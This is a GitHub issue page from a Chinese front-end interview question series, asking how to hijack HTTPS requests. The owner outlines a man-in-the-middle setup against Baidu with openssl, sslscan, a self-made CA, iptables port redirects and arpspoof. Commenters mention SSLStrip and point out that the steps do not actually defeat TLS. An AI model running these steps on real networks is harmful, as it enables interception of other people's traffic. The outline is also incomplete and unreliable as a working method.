Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

第 11 题:如何劫持https的请求,提供思路 #11

Open
airuikun opened this issue Apr 14, 2019 · 5 comments
Open

第 11 题:如何劫持https的请求,提供思路 #11

airuikun opened this issue Apr 14, 2019 · 5 comments

Comments

@airuikun
Copy link
Owner

airuikun commented Apr 14, 2019

很多人在google上搜索“前端面试 + https详解”,把答案倒背如流,但是问到如何劫持https请求的时候就一脸懵逼,是因为还是停留在https理论性阶段。

想告诉大家的是,就算是https,也不是绝对的安全,以下提供一个本地劫持https请求的简单思路。

模拟中间人攻击,以百度为例

  • 先用OpenSSL查看下证书,直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
    openssl s_client -connect www.baidu.com:443
  • 用sslcan识别ssl配置错误,过期协议,过时cipher suite和hash算法
    sslscan -tlsall www.baidu.com:443
  • 分析证书详细数据
    sslscan -show-certificate --no-ciphersuites www.baidu.com:443
  • 生成一个证书
    openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
  • 开启路由功能
    sysctl -w net.ipv4.ip_forward=1
  • 写转发规则,将80、443端口进行转发给8080和8443端口
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 
    iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
  • 最后使用arpspoof进行arp欺骗
@zhaoqize
Copy link

请问如何解决的?用代理服务器拼IP还是直接用shark?

@wjkang
Copy link

wjkang commented Apr 15, 2019

SSLStrip

@jwucong
Copy link

jwucong commented Apr 16, 2019

我们今年4月初微信公众号授权的https微页面在新疆打开也大面积出现问题,80-90%的用户授权后显示空白页,少数用户可以正常打开,少数用户一会儿正常打开,一会儿又打不开,同一个微页面在全国32个省都推广了,就只有新疆出问题,其他省一例问题都没有;是否是你所说的被劫持,或者是网络jianguan的问题

@iFwu
Copy link

iFwu commented Apr 16, 2019

中间人攻击应该需要浏览器或系统内置了“非正常”证书,可以用来利用生成伪造的证书。否则互联网基础设施就没有意义了。

@abcbuzhiming
Copy link

你这个所谓的转发哪里达到了SSL中间人攻击的效果?我没看出来

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants